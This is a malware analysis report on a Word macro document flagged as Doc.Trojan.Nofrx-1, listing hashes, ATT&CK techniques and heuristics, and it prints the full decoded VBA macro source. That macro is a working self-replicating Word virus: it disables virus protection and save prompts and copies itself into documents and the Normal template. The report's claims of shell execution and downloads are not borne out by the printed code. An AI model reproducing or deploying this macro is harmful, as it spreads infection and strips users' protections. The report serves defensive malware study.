Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 40b2fbf4b8c0fc60…

MALICIOUS

Office (OLE)

42.5 KB Created: 1999-07-08 22:48:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 5e57375aa1a46ebedd50916563c19a85 SHA-1: 147faad9d568cba61437c644d113c98ecefcb665 SHA-256: 40b2fbf4b8c0fc604003397dc02fe0236f552a41f91e2b775b254200059b9259
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro that executes shell commands. This macro attempts to modify the Normal template and the active document to ensure persistence. The ClamAV detection 'Doc.Trojan.Nofrx-1' strongly suggests a known malicious document type. The macro's actions indicate it's designed to establish a foothold and likely download additional malicious content.

Heuristics 4

  • ClamAV: Doc.Trojan.Nofrx-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Nofrx-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2063 bytes
SHA-256: e900cffede8132603fbe6cc1a0e1707b46fab8f442553f92e08c632d5f66e0a9
Detection
ClamAV: Doc.Trojan.NoFrx-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
Application.ShowVisualBasicEditor = False
CommandBars("Tools").Controls("Macro").Delete
With Options
.VirusProtection = False
.SaveNormalPrompt = False
.ConfirmConversions = False
End With
With Application
.ScreenUpdating = (7 - 7)
.EnableCancelKey = wdCancelDisabled
.DisplayAlerts = wdAlertsNone
.StatusBar = "Please Wait..."
End With
snim = ActiveDocument.Saved
Set alin = ActiveDocument.VBProject.VBComponents(1).CodeModule
Set nlin = NormalTemplate.VBProject.VBComponents(1).CodeModule
Set this = ThisDocument.VBProject.VBComponents(1).CodeModule
If alin.CountOfLines < this.CountOfLines Then
alin.AddFromString this.Lines(1, this.CountOfLines)
ActiveDocument.Save
End If
If nlin.CountOfLines < this.CountOfLines Then
nlin.AddFromString this.Lines(1, this.CountOfLines)
End If
If Left(ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1), 1) <> "Private Sub Document_Open()" Then
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine 1, "Private Sub Document_Open()"
End If
If Left(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1), 1) <> "Private Sub Document_Close()" Then
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine 1, "Private Sub Document_Close()"
End If
With Application.Assistant.NewBalloon
.BalloonType = msoBalloonTypeButtons
.Button = msoButtonSetOK
.Text = ("NoFrx from ImPU1s3 to " & Application.UserName)
.Animation = msoAnimationGreeting
.SetAvoidRectangle 7, 7, 7, 7
.Mode = msoModeModal
.Show
End With
'WM2000-WM97/NoFrx.b by ImPU1s3@EvilNet Inc.
'Greetinz to R3d Devi1, G3n3s1s and L33ch (members of EvilNet Inc.)
'Viruso.Pisanje zivi u Bosni ´99
ActiveDocument.Saved = snim
End Sub